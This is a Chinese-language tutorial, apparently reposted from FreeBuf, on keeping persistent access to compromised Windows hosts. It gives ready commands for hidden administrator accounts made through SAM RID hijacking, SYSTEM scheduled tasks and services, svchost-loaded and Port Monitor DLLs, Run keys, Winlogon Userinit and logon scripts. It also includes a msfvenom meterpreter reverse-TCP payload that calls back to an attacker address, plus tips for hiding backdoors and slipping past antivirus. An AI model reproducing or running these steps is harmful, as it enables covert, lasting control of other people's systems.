0x00 前言

在获取到目标机器的权限后,如果想长时间的对目标进行控制,那么绕不开的一个操作就是权限持久化,为了实现这个目的,许许多多的后门技术应运而生。因此,本文对常见的系统后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。

0x01 创建影子账户

影子账户其实就是隐藏账户,无论通过 “计算机管理” 还是命令行查询都无法看到,只能在注册表中找到其信息。

hacker 常常通过创建具有管理员权限的影子账户,在目标主机上实现权限维持

注意需要拥有管理员级别的权限

下面来实操如何创建影子账户:

① 在目标机创建一个名为 “Hack” 的账户

net user Hack$ 123Abc!@# /add 
# “$” 符号表示该用户为隐藏账户,无法通过命令行查询到,但是通过计算机管理的 “本地用户和组” 可以看到隐藏用户

1675434003_63dd18139ef3ac4f63838.png!small?1675434004823

此时,Hack$ 还是标准用户,为了使其拥有管理员级别的权限,还需要修改注册表。

② 在注册表中找到 HKEY_LOCAL_MACHINE\SAM\SAM,单击右键,在弹出的菜单中选择 “权限” 选项,将 Administrator 用户的权限设置为 “完全控制”。

该注册表项的内容在标准用户和管理员权限下都是不可见的

1675434055_63dd18473c7e680e4dcc8.png!small?1675434056312

③ 在注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 处选择 Administrator 用户,在左侧找到与右边显示的键值的类型 “0x1f4” 相同的目录名。

1675434074_63dd185a0c0de3795902d.png!small?1675434075250

复制 000001F4 表项的 F 属性的值。

1675434092_63dd186cd58a64b503b68.png!small?1675434094104

④ 在找到与隐藏账户 Hack$ 相应的目录 “000003EB”,将复制的 000001F4 表项中的 F 属性值粘贴到 000003EB 表项中的 F 属性值处,并确认。

1675434106_63dd187a5cae70e6880ae.png!small?1675434107327

到此处,Hack$ 用户劫持了 Administrator 用户的 RID,从而使 Hack$ 用户获得 Administrator 用户的权限。

⑤ 分别选中注册表项 “Hack$” 和 “000003EB” 并导出,然后执行以下命令,删除 Hack$ 用户:

net user Hack$ /del

1675434135_63dd189796a02b1a267cd.png!small?1675434136642

⑥ 将刚才导出的两个注册表项导入注册表。

1675434148_63dd18a40408a2916f33e.png!small?1675434149317

到此,影子账户 Hack$ 就创建好了。此时查看 “本地用户和组” 也看不到该账户,只在注册表中才能看到。

1675434168_63dd18b8d923e57ed4a9c.png!small?1675434170141

尝试使用影子账户登录远程桌面

1675434187_63dd18cb6d864f41392c1.png!small?1675434188351

1675434195_63dd18d3d4aa65e72c220.png!small?1675434197675

0x02 计划任务后门

通过创建计划任务,让目标主机在特定的时间点或规定的周期内重复运行 hacker 预先准备的后门程序,从而实现权限持久化。

执行以下命令,在目标主机上创建一个名为 Backdoor 的计划任务,每 60 秒以 SYSTEM 权限运行一次后门程序 shell.exe。

schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F
# /TN,指定要创建的计划任务的名称
# /SC,指定计划任务执行频率
# /MO,指定计划任务执行周期
# /TR,指定计划任务运行的程序路径
# /RU,指定计划任务运行的用户权限
# /F,如果指定的任务已经存在,则强制创建

注意:如果以 SYSTEM 权限运行计划任务,就需要拥有管理员级别的权限。

1675434268_63dd191c9c5091fff30c2.png!small?1675434269850

当计划任务触发后,目标主机就会上线

1675434282_63dd192aedd9047d32e5d.png!small?1675434283979

计算机上所有的计划任务都存储在了 “计算机管理” 中的 “计划任务程序库”。

1675434313_63dd19498bfc7364cb3ad.png!small?1675434314525

可以看到,计划任务在 “计划任务程序库” 中以类似文件目录的形式存储,所有计划任务都存储在最内层的目录中。因此,为了增强隐蔽性,建议在创建计划任务后门时遵守这个存储规范。

执行以下命令,在 \Microsoft\Windows\AppTask\ 路径下创建一个名为 “AppRun” 的计划任务后门。

schtasks /Create /TN \Microsoft\Windows\AppTask\AppRun /SC daily /ST 08:00 /MO 1 /TR C:\Windows\System32\shell.exe /RU System /F

1675434346_63dd196a82509fd65bd67.png!small?1675434347738

0x03 系统服务后门

对于启动类型为 “自动” 的系统服务,hacker 可以将服务运行的二进制文件路径设置为后门程序或其他攻击载荷,当系统或服务重启时,可以重新获取对目标主机的控制权。但是,前提条件是已经获取了目标主机的管理员权限。

1. 创建系统服务

执行以下命令,在目标主机上创建一个名为 Backdoor 的系统服务,启动类型为 “自动”,启动权限为SYSTEM:

sc create Backdoor binpath= "cmd.exe /k C:\Windows\System32\shell.exe" start= "auto" obj= "LocalSystem" 
# binpath,指定服务的二进制文件路径,注意 “=” 后必须有一个空格 
# start,指定启动类型 
# obj,指定服务运行的权限

1675434472_63dd19e86bf35a3ddea91.png!small?1675434473381

系统或服务重启时,将以 SYSTEM 权限运行后门程序 shell.exe,目标主机就会上线。

1675434493_63dd19fd91d108ef01f75.png!small?1675434495142

2. 利用现有的系统服务

通过修改现有服务的配置信息,使服务启动时运行指定的后门程序。

hacker 可以通过 “sc config” 命令修改服务的 binpath 选项,也可以尝试修改服务注册表的 ImagePath 键,二者都直接指定了相应服务的启动时运行的二进制文件。

① 执行以下命令,将该服务注册表中的 ImagePath 键指向预先上传的攻击载荷。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:\Users\Public\shell.exe" /f

② 系统或服务重启时,将以 SYSTEM 权限运行后门程序 shell.exe,目标主机就会上线。

1675435128_63dd1c7855dfe5b8761d5.png!small?1675435129858

3. 利用 svchost.exe 启动服务

svchost.exe 是 Windows 的系统文件,svchost.exe 是从动态链接库(DLL)中运行的服务的通用主机进程名称。该程序本身只是作为服务的宿主,许多系统服务通过注入该程序进程中启动,所以系统中会存在多个该程序的进程。

在 Windows 系统中,需要由 svchost.exe 进程启动的服务将以 DLL 形式实现。在安装这些服务时,需要将服务的可执行文件路径指向 svchost.exe。在启动这些服务时,由 svchost.exe 调用相应服务的 DLL 文件,而具体调用哪个 DLL 是由该服务在注册表的信息所决定的。

下面以 wuauserv 服务(Windows Update)为例进行讲解:

在注册表中定位到 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\wuauserv。从 imagepath 键值可以得知,该服务启动的可执行文件的路径为 C:\Windows\system32\svchost.exe -k netsvcs,说明该服务是依靠 svchost.exe 加载 DLL 文件来实现的。

1675435198_63dd1cbe49c77b4f13298.png!small?1675435199419

wuauserv 服务的注册表下还有一个 Parameters 子项,其中的 ServiceDll 键值表明该服务由哪个 DLL 文件负责。当服务启动时,svchost.exe 就会加载 wuaueng.dll 文件,并执行其提供的具体服务。

1675435226_63dd1cda20ec30cf44d75.png!small?1675435227101

注意:系统会根据服务可执行文件路径中的参数对服务进行分组,如 C:\Windows\system32\svchost.exe -k netsvcs 表明该服务属于 netsvcs 这个服务组。通常,每个 svchost 进程负责运行一组服务。因此,并不是每启动一个服务就会增加一个 svchost.exe 进程。

svchost.exe 的所有服务分组位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 中。通过 svchost.exe 加载启动的服务都要在该表项中注册。

1675435275_63dd1d0b29bcdf406c29e.png!small?1675435276708

实战中,hacker 可以通过 svchost.exe 加载恶意服务,以此来建立持久化后门。由于恶意服务的 DLL 将加载到 svchost.exe 进程,恶意进程不是独立运行的,因此具有很高的隐蔽性。

接下来进行实操:

① 使用 msf 生成一个负责提供恶意服务的 DLL 文件,然后将生成的 DLL 上传到目标主机的 System32 目录。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll

② 创建名为 Backdoor 的服务,并以 svchost 加载的方式启动,服务分组为 netsvc

sc create Backdoor binpath= "C:\Windows\system32\svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"

1675435339_63dd1d4b34df715450da0.png!small?1675435340146

③ 将 Backdoor 服务启动时加载的 DLL 设为 reverse_tcp.dll

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\System32\reverse_tcp.dll"

1675435404_63dd1d8c4c7c4a93e8c1b.png!small?1675435405185

1675435409_63dd1d910802d89f43930.png!small?1675435410055

④ 配置服务描述

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v Description /t REG_SZ /d "Windows Service"

1675435456_63dd1dc0eb5752723219a.png!small?1675435457754

1675435461_63dd1dc527bf1994e3b58.png!small?1675435462186

⑤ 配置服务显示名称

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Backdoor /v DisplayName /t REG_SZ /d "Backdoor"

1675435484_63dd1ddc7a0dba7bb3557.png!small?1675435485409

1675435488_63dd1de08834f0b0e4c60.png!small?1675435489702

⑥ 创建服务新分组 netsvc,并将 Backdoor 服务添加进去

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvc /t REG_MULTI_SZ /d Backdoor

1675435521_63dd1e01a069932db8167.png!small?1675435522494

1675435539_63dd1e13174b92ee9ac29.png!small?1675435540219

⑦ 当系统重启时,Svchost 以 SYSTEM 权限加载恶意服务,目标主机就会上线。

1675435571_63dd1e337f84243c1d577.png!small?1675435572662

1675435583_63dd1e3f7771fc49454e3.png!small?1675435584687

0x04 启动项/注册表键后门

hacker 可以通过将后门程序添加到系统启动文件夹或通过注册表运行键引用来进行权限持久化。添加的后门程序将在用户登录的上下文中启动,并且将具有与账户相关联的权限等级。

1. 系统启动文件夹

将程序放置在启动文件夹中会导致该程序在用户登录时执行。

Windows 系统有两种常见的启动文件夹:

# 位于以下目录中的程序将在指定用户登录时启动
 C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start
 C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
 
 # 位于以下目录中的程序将在所有用户登录时启动
 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

尝试将后门程序放入 hack 用户的启动文件夹

1675435674_63dd1e9a3e0a20f408485.png!small?1675435675301

切换用户登录,成功上线

1675435693_63dd1ead50ea5ce0dd6a0.png!small?1675435694224

2. 运行键(Run Keys)

Windows 系统上有许多注册表项可以用来设置在系统启动或用户登录时运行指定的程序或加载指定 DLL 文件,hacker 可以对此类注册表进行滥用,以建立持久化后门。

当用户登录时,系统会依次检查位于注册表运行键(Run Keys)中的程序,并在用户登录的上下文中启动。Windows 系统默认创建以下运行键,如果修改 HKEY_LOCAL_MACHINE 下的运行键,需要拥有管理员级别的权限。

# 以下注册表项中的程序将在当前用户登录时启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

# 以下注册表中的程序将在所有用户登录时启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

执行以下命令,在注册表运行键中添加一个名为 “Backdoor” 的键,并将键值指向后门程序的绝对路径。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\System32\shell.exe"

1675435770_63dd1efa77fe043a4de8c.png!small?1675435771592


1675435778_63dd1f02cea00f1827a6e.png!small?1675435779942

当用户重新登录时,目标主机就会上线。

1675435796_63dd1f14d048be38d1906.png!small?1675435797816

3. Winlogon Helper

Winlogon 是 Windows 系统的组件,用于处理与用户有关的各种行为,如登录、注销、在登录时加载用户配置文件、锁定屏幕等。这些行为由系统注册表管理,注册表中的一些键值定义了在 Windows 登录期间会启动哪些进程。

hacker 可以滥用此类注册表键值,使 Winlogon 在用户登录时执行恶意程序,以此建立持久化后门。

常见的有以下两个:

# 指定用户登录时执行的用户初始化程序,默认为 userinit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

# 指定 Windows 身份验证期间执行的程序,默认为 explorer.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\shell

执行以下命令,在 Userinit 键值中添加一个后门程序。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "C:\Windows\system32\userinit.exe,shell.exe" /f

1675435857_63dd1f5121553936e2b81.png!small?1675435857952

1675435863_63dd1f578e45b698ece58.png!small?1675435864512

当用户重新登录时,目标主机就会上线。

1675435883_63dd1f6b86429fd094ff0.png!small?1675435885439

注意:在滥用 Userinit 和 Shell 键时需要保留键值中的原有程序,将待启动的后门程序添加到原有程序后面,并以 “,” 进行分隔。并且,后面程序需要被上传至 C:\Windows\system32 目录。

4. Logon Scripts

Logon Scripts是优先于很多杀毒软件启动的,所以可以通过这种方式绕过杀毒软件敏感操作拦截。

执行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串键值 UserInitMprLogonScript,键值设置为想要执行的程序或bat脚本的路径:

reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\system32\shell.exe"

1675435946_63dd1faa5cb2911034bb7.png!small?1675435947387

1675435950_63dd1fae3347b549a2b29.png!small?1675435951134

重启系统或重新登陆账户,成功上线

1675435967_63dd1fbfe5d70c7d19d39.png!small?1675435969050

0x05 Port Monitors后门

打印后台处理服务(Print Spooler)负责管理 Windows 系统的打印作业。与该服务的交互是通过 Print Spooler API 执行的,其中包含 AddMonitor 函数,用于安装 Port Monitors(本地端口监听器),并连接配置、数据和监视器文件。AddMonitor 函数能够将 DLL 注入 spoolsv.exe 进程,以实现相应功能,并且通过创建注册表键,hacker 可以在目标系统上进行权限持久化。

注意:利用该技术需要拥有管理员级别的权限。

① 通过 msf 生成一个 64 位的恶意 DLL

② 将生成的 DLL 上传到目标主机的 C:\Windows\system32 目录中,执行一下命令,通过编辑注册表安装一个端口监视器。

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\TestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"

1675436065_63dd202104a541bf82141.png!small?1675436065987

1675436069_63dd2025e1bc6fbb94886.png!small?1675436070836

当系统重启时,Print Spooler 服务在启动过程中会读取 Monitors 注册表项的所有子健,并以 SYSTEM 权限加载 Driver 键值所指定的 DLL 文件。

1675436086_63dd2036dfcc71ce9df99.png!small?1675436087847

0x06 总结

在本文的很多例子中,其实都会或多或少与一个东西有关,那就是注册表。关于注册表,我觉得值得花时间去仔细研究一番,一定会有很大的收获。

关于系统后门技术其实还有许许多多,本文只是将常见的一些技术拿出来进行了分享,希望可以对大家的学习有帮助。如有不对,欢迎指正。

本文作者:LHzzzzz, 转自FreeBuf